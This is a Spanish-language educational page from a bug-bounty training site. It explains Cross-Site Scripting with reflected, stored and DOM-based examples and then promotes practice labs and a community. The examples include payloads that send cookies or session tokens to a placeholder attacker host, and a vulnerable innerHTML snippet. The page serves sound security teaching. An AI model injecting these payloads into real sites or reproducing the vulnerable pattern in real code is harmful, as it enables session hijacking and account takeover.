XSS

Alto

Cross-Site Scripting

Definición

Cross-Site Scripting (XSS) es una vulnerabilidad que permite a un atacante inyectar código JavaScript malicioso en páginas web vistas por otros usuarios. El navegador de la víctima ejecuta el script creyendo que proviene de una fuente legítima, lo que permite robar cookies, tokens de sesión o redirigir al usuario a sitios maliciosos.

Impacto

Robo de cookies y tokens de sesión (session hijacking)Suplantación de identidad del usuario (account takeover)Redirección a sitios de phishingKeylogging y captura de credencialesDefacement de la página web

Ejemplos

XSS Reflejado básico

El parámetro de búsqueda se refleja directamente en el HTML sin sanitización. El navegador ejecuta el script y envía las cookies al servidor del atacante.

<!-- URL maliciosa -->
https://ejemplo.com/buscar?q=<script>document.location='https://atacante.com/robar?c='+document.cookie</script>

<!-- El servidor refleja el parámetro sin sanitizar -->
<p>Resultados para: <script>document.location='https://atacante.com/robar?c='+document.cookie</script></p>

XSS Almacenado en comentarios

Un atacante publica un comentario con código malicioso que se almacena en la base de datos. Cada vez que otro usuario carga la página, el script se ejecuta automáticamente.

<!-- Comentario malicioso almacenado en la base de datos -->
<img src=x onerror="fetch('https://atacante.com/steal?token='+localStorage.getItem('token'))">

XSS basado en DOM

El JavaScript del lado del cliente toma datos de una fuente controlable por el usuario (como el hash de la URL) y los inserta en el DOM sin sanitizar, todo sin interacción con el servidor.

// Código vulnerable en el cliente
const hash = window.location.hash.substring(1);
document.getElementById('output').innerHTML = hash;

// URL de ataque
https://ejemplo.com/page#<img src=x onerror=alert(document.cookie)>

Practica XSS con labs reales

Aplica lo que has aprendido en entornos seguros basados en reportes de bug bounty.

Ver labs de práctica
2.786

hunters entrenando

63

labs de hackeos reales

1.767

completaciones

$14.790

pagados por estos bugs

37 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis
Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

BBLabs · bug bounty en español

Deja de leer sobre bugs y empieza a cazarlos

Crea tu cuenta gratis y practica sobre labs basados en hackeos reales que pagaron miles de euros. La Academy es gratis para siempre.

Sin tarjeta · Academy gratis · cancela cuando quieras

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.